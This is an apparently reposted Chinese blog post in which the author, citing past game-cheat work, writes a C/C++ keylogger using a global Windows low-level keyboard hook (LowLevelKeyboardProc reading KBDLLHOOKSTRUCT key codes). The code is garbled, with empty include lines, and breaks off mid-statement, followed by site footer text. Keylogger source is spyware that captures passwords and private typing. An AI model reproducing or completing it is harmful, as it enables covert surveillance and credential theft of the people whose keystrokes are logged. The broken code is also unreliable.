C/C++ Hook 键盘记录器 您所在的位置:网站首页 键盘钩子怎么清除掉 C/C++ Hook 键盘记录器

C/C++ Hook 键盘记录器

2023-12-23 07:29| 来源: 网络整理| 查看: 265

之前写外挂做过指定进程的 Hook,但是没有尝试过全局 Hook,所以今天就来试试。全局 Hook 的用途我第一个就想到了键盘记录器,那就写一个吧。

实现代码:

#include #include #include #include using namespace std; HHOOK keyboardHook = 0; // 钩子句柄 LRESULT CALLBACK LowLevelKeyboardProc( _In_ int nCode, // 规定钩子如何处理消息,小于 0 则直接 CallNextHookEx _In_ WPARAM wParam, // 消息类型 _In_ LPARAM lParam // 指向某个结构体的指针,这里是 KBDLLHOOKSTRUCT(低级键盘输入事件) ){ KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT*)lParam; // 包含低级键盘输入事件信息 /* typedef struct tagKBDLLHOOKSTRUCT { DWORD vkCode; // 按键代号 DWORD scanCode; // 硬件扫描代号,同 vkCode 也可以作为按键的代号。 DWORD flags; // 事件类型,一般按键按下为 0 抬起为 128。 DWORD time; // 消息时间戳 ULONG_PTR dwExtraInfo; // 消息附加信息,一般为 0。 }KBDLLHOOKSTRUCT,*LPKBDLLHOOKSTRUCT,*PKBDLLHOOKSTRUCT; */ if(ks->flags == 128 || ks->flags == 129) { // 监控键盘 switch(ks->vkCode){ case 0x30: case 0x60: cout


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有